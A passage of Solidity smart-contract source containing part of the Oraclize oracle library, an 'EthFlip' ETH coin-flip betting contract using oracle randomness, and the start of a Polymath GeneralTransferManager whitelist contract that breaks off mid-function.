args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; require(to.length >= minLength); uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } contract EthFlip is usingOraclize { struct Bet { bool win; uint betValue; uint timestamp; address playerAddress; } struct QueryMap { uint betValue; address playerAddress; } bool private gamePaused; uint private minBet; uint private maxBet; uint private houseFee; uint private oraclizeGas; uint private oraclizeGasPrice; address private owner; uint private currentQueryId; uint private currentBetNumber; uint private totalPayouts; uint private totalWins; uint private totalLosses; bool private win; uint private randomNumber; mapping (uint => Bet) private pastBets; mapping (uint => QueryMap) private queryIdMap; event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress); event GameStatusUpdate(bool _paused); event MinBetUpdate(uint _newMin); event MaxBetUpdate(uint _newMax); event HouseFeeUpdate(uint _newFee); event OwnerUpdate(address _newOwner); modifier gameIsActive { require(!gamePaused); _; } modifier gameIsNotActive { require(gamePaused); _; } modifier senderIsOwner { require(msg.sender == owner); _; } modifier senderIsOraclize { require(msg.sender == oraclize_cbAddress()); _; } modifier sentEnoughForBet { require(msg.value >= minBet); _; } modifier didNotSendOverMaxBet { require(msg.value <= maxBet); _; } function EthFlip() public { minBet = 100000000000000000; maxBet = 500000000000000000; houseFee = 29; oraclizeGas = 500001; oraclizeGasPrice = 3010000000; oraclize_setCustomGasPrice(oraclizeGasPrice); oraclize_setProof(proofType_Ledger); owner = msg.sender; } function() public payable {} function placeBet() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet { secureGenerateNumber(msg.sender, msg.value); } function secureGenerateNumber(address _playerAddress, uint _betValue) private { bytes32 queryId = oraclize_newRandomDSQuery(0, 2, oraclizeGas); uint convertedId = uint(keccak256(queryId)); queryIdMap[convertedId].betValue = _betValue; queryIdMap[convertedId].playerAddress = _playerAddress; } function checkIfWon() private { if (randomNumber <= 50) { win = true; sendPayout(subtractHouseFee(queryIdMap[currentQueryId].betValue*2)); } else { win = false; } logBet(); } function sendPayout(uint _amountToPayout) private { uint payout = _amountToPayout; _amountToPayout = 0; queryIdMap[currentQueryId].playerAddress.transfer(payout); } function subtractHouseFee(uint _amount) private returns (uint _result) { return (_amount*(1000-houseFee))/1000; } function logBet() private { currentBetNumber++; if (win) { totalWins++; totalPayouts += queryIdMap[currentQueryId].betValue; } else { totalLosses++; } pastBets[currentBetNumber] = Bet({win:win, betValue:queryIdMap[currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[currentQueryId].playerAddress}); BetComplete(win, currentBetNumber, queryIdMap[currentQueryId].betValue, block.timestamp, queryIdMap[currentQueryId].playerAddress); } function getLastBetNumber() constant public returns (uint) { return currentBetNumber; } function getTotalPayouts() constant public returns (uint) { return totalPayouts; } function getTotalWins() constant public returns (uint) { return totalWins; } function getTotalLosses() constant public returns (uint) { return totalLosses; } function getBalance() constant public returns (uint) { return this.balance; } function getGamePaused() constant public returns (bool) { return gamePaused; } function getMinBet() constant public returns (uint) { return minBet; } function getMaxBet() constant public returns (uint) { return maxBet; } function getHouseFee() constant public returns (uint) { return houseFee; } function getOraclizeGas() constant public returns (uint) { return oraclizeGas; } function getOraclizeGasPrice() constant public returns (uint) { return oraclizeGasPrice; } function getOwnerAddress() constant public returns (address) { return owner; } function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress) { require(currentBetNumber >= _betNumber); return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress); } function pauseGame() public senderIsOwner gameIsActive { gamePaused = true; GameStatusUpdate(true); } function resumeGame() public senderIsOwner gameIsNotActive { gamePaused = false; GameStatusUpdate(false); } function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive { require(_newMax >= 100000000000000000); maxBet = _newMax; MaxBetUpdate(_newMax); } function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive { require(_newMin >= 100000000000000000); minBet = _newMin; MinBetUpdate(_newMin); } function setHouseFee(uint _newFee) public senderIsOwner gameIsNotActive { require(_newFee <= 100); houseFee = _newFee; HouseFeeUpdate(_newFee); } function setOraclizeGas(uint _newGas) public senderIsOwner gameIsNotActive { oraclizeGas = _newGas; } function setOraclizeGasPrice(uint _newPrice) public senderIsOwner gameIsNotActive { oraclizeGasPrice = _newPrice + 10000000; oraclize_setCustomGasPrice(oraclizeGasPrice); } function setOwner(address _newOwner) public senderIsOwner gameIsNotActive { owner = _newOwner; OwnerUpdate(_newOwner); } function selfDestruct() public senderIsOwner gameIsNotActive { selfdestruct(owner); } function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize { currentQueryId = uint(keccak256(_queryId)); if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) { randomNumber = (uint(keccak256(_result)) % 100) + 1; checkIfWon(); } else { uint refundValue = queryIdMap[currentQueryId].betValue; queryIdMap[currentQueryId].betValue = 0; queryIdMap[currentQueryId].playerAddress.transfer(refundValue); } } }
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pragma solidity ^0.4.24; contract Pausable { event Pause(uint256 _timestammp); event Unpause(uint256 _timestamp); bool public paused = false; modifier whenNotPaused() { require(!paused, "Contract is paused"); _; } modifier whenPaused() { require(paused, "Contract is not paused"); _; } function _pause() internal whenNotPaused { paused = true; emit Pause(now); } function _unpause() internal whenPaused { paused = false; emit Unpause(now); } } interface IModule { function getInitFunction() external pure returns (bytes4); function getPermissions() external view returns(bytes32[]); function takeFee(uint256 _amount) external returns(bool); } interface ISecurityToken { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool); function increaseApproval(address _spender, uint _addedValue) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function verifyTransfer(address _from, address _to, uint256 _value) external returns (bool success); function mint(address _investor, uint256 _value) external returns (bool success); function mintWithData(address _investor, uint256 _value, bytes _data) external returns (bool success); function burnFromWithData(address _from, uint256 _value, bytes _data) external; function burnWithData(uint256 _value, bytes _data) external; event Minted(address indexed _to, uint256 _value); event Burnt(address indexed _burner, uint256 _value); function checkPermission(address _delegate, address _module, bytes32 _perm) external view returns (bool); function getModule(address _module) external view returns(bytes32, address, address, bool, uint8, uint256, uint256); function getModulesByName(bytes32 _name) external view returns (address[]); function getModulesByType(uint8 _type) external view returns (address[]); function totalSupplyAt(uint256 _checkpointId) external view returns (uint256); function balanceOfAt(address _investor, uint256 _checkpointId) external view returns (uint256); function createCheckpoint() external returns (uint256); function getInvestors() external view returns (address[]); function getInvestorsAt(uint256 _checkpointId) external view returns(address[]); function iterateInvestors(uint256 _start, uint256 _end) external view returns(address[]); function currentCheckpointId() external view returns (uint256); function investors(uint256 _index) external view returns (address); function withdrawERC20(address _tokenContract, uint256 _value) external; function changeModuleBudget(address _module, uint256 _budget) external; function updateTokenDetails(string _newTokenDetails) external; function changeGranularity(uint256 _granularity) external; function pruneInvestors(uint256 _start, uint256 _iters) external; function freezeTransfers() external; function unfreezeTransfers() external; function freezeMinting() external; function mintMulti(address[] _investors, uint256[] _values) external returns (bool success); function addModule( address _moduleFactory, bytes _data, uint256 _maxCost, uint256 _budget ) external; function archiveModule(address _module) external; function unarchiveModule(address _module) external; function removeModule(address _module) external; function setController(address _controller) external; function forceTransfer(address _from, address _to, uint256 _value, bytes _data, bytes _log) external; function forceBurn(address _from, uint256 _value, bytes _data, bytes _log) external; function disableController() external; function getVersion() external view returns(uint8[]); function getInvestorCount() external view returns(uint256); function transferWithData(address _to, uint256 _value, bytes _data) external returns (bool success); function transferFromWithData(address _from, address _to, uint256 _value, bytes _data) external returns(bool); function granularity() external view returns(uint256); } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool); function increaseApproval(address _spender, uint _addedValue) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Module is IModule { address public factory; address public securityToken; bytes32 public constant FEE_ADMIN = "FEE_ADMIN"; IERC20 public polyToken; constructor (address _securityToken, address _polyAddress) public { securityToken = _securityToken; factory = msg.sender; polyToken = IERC20(_polyAddress); } modifier withPerm(bytes32 _perm) { bool isOwner = msg.sender == Ownable(securityToken).owner(); bool isFactory = msg.sender == factory; require(isOwner||isFactory||ISecurityToken(securityToken).checkPermission(msg.sender, address(this), _perm), "Permission check failed"); _; } modifier onlyOwner { require(msg.sender == Ownable(securityToken).owner(), "Sender is not owner"); _; } modifier onlyFactory { require(msg.sender == factory, "Sender is not factory"); _; } modifier onlyFactoryOwner { require(msg.sender == Ownable(factory).owner(), "Sender is not factory owner"); _; } modifier onlyFactoryOrOwner { require((msg.sender == Ownable(securityToken).owner()) || (msg.sender == factory), "Sender is not factory or owner"); _; } function takeFee(uint256 _amount) public withPerm(FEE_ADMIN) returns(bool) { require(polyToken.transferFrom(securityToken, Ownable(factory).owner(), _amount), "Unable to take fee"); return true; } } contract ITransferManager is Module, Pausable { enum Result {INVALID, NA, VALID, FORCE_VALID} function verifyTransfer(address _from, address _to, uint256 _amount, bytes _data, bool _isTransfer) public returns(Result); function unpause() public onlyOwner { super._unpause(); } function pause() public onlyOwner { super._pause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract GeneralTransferManager is ITransferManager { using SafeMath for uint256; address public issuanceAddress = address(0); address public signingAddress = address(0); bytes32 public constant WHITELIST = "WHITELIST"; bytes32 public constant FLAGS = "FLAGS"; struct TimeRestriction { uint256 fromTime; uint256 toTime; uint256 expiryTime; bool canBuyFromSTO; } mapping (address => TimeRestriction) public whitelist; mapping(address => mapping(uint256 => bool)) public nonceMap; bool public allowAllTransfers = false; bool public allowAllWhitelistTransfers = false; bool public allowAllWhitelistIssuances = true; bool public allowAllBurnTransfers = false; event ChangeIssuanceAddress(address _issuanceAddress); event AllowAllTransfers(bool _allowAllTransfers); event AllowAllWhitelistTransfers(bool _allowAllWhitelistTransfers); event AllowAllWhitelistIssuances(bool _allowAllWhitelistIssuances); event AllowAllBurnTransfers(bool _allowAllBurnTransfers); event ChangeSigningAddress(address _signingAddress); event ModifyWhitelist( address _investor, uint256 _dateAdded, address _addedBy, uint256 _fromTime, uint256 _toTime, uint256 _expiryTime, bool _canBuyFromSTO ); constructor (address _securityToken, address _polyAddress) public Module(_securityToken, _polyAddress) { } function getInitFunction() public pure returns (bytes4) { return bytes4(0); } function changeIssuanceAddress(address _issuanceAddress) public withPerm(FLAGS) { issuanceAddress = _issuanceAddress; emit ChangeIssuanceAddress(_issuanceAddress); } function changeSigningAddress(address _signingAddress) public withPerm(FLAGS) { signingAddress = _signingAddress; emit ChangeSigningAddress(_signingAddress); } function changeAllowAllTransfers(bool _allowAllTransfers) public withPerm(FLAGS) { allowAllTransfers = _allowAllTransfers; emit AllowAllTransfers(_allowAllTransfers); } function changeAllowAllWhitelistTransfers(bool _allowAllWhitelistTransfers) public withPerm(FLAGS) { allowAllWhitelistTransfers = _allowAllWhitelistTransfers; emit AllowAllWhitelistTransfers(_allowAllWhitelistTransfers); } function changeAllowAllWhitelistIssuances(bool _allowAllWhitelistIssuances) public withPerm(FLAGS) { allowAllWhitelistIssuances = _allowAllWhitelistIssuances; emit AllowAllWhitelistIssuances(_allowAllWhitelistIssuances); } function changeAllowAllBurnTransfers(bool _allowAllBurnTransfers) public withPerm(FLAGS) { allowAllBurnTransfers = _allowAllBurnTransfers; emit AllowAllBurnTransfers(_allowAllBurnTransfers); } function verifyTransfer(address _from, address _to, uint256 , bytes , bool ) public returns(Result) { if (!paused) { if (allowAllTransfers) { return Result.VALID; } if (allowAllBurnTransfers && (_to == address(0))) { return Result.VALID; } if (allowAllWhitelistTransfers) { return (_onWhitelist(_to) && _onWhitelist(_from)) ? Result.VALID : Result.NA; } if (allowAllWhitelistIssuances && _from == issuanceAddress) { if (!whitelist[_to].canBuyFromSTO && _isSTOAttached()) { return Result.NA; } return _onWhitelist(_to) ? Result.VALID : Result.NA; } return ((_onWhitelist(_from) && whitelist[_from].fromTime <= now) && (_onWhitelist(_to) && whitelist[_to].toTime <= now)) ? Result.VALID : Result.NA; } return Result.NA; } function modifyWhitelist( address _investor, uint256 _fromTime, uint256 _toTime, uint256 _expiryTime, bool _canBuyFromSTO ) public withPerm(WHITELIST) { whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO); emit ModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO); } function modifyWhitelistMulti( address[] _investors, uint256[] _fromTimes, uint256[] _toTimes, uint256[] _expiryTimes, bool[] _canBuyFromSTO ) public withPerm(WHITELIST) { require(_investors.length == _fromTimes.length, "Mismatched input lengths"); require(_fromTimes.length == _toTimes.length, "Mismatched input lengths"); require(_toTimes.length == _expiryTimes.length, "Mismatched input lengths"); require(_canBuyFromSTO.length == _toTimes.length, "Mismatched input length"); for (uint256 i = 0; i < _investors.length; i++) { modifyWhitelist(_investors[i], _fromTimes[i], _toTimes[i], _expiryTimes[i], _canBuyFromSTO[i]); } } function modifyWhitelistSigned( address _investor, uint256 _fromTime, uint256 _toTime, uint256 _expiryTime, bool _canBuyFromSTO, uint256 _validFrom, uint256 _validTo, uint256 _nonce, uint8 _v, bytes32 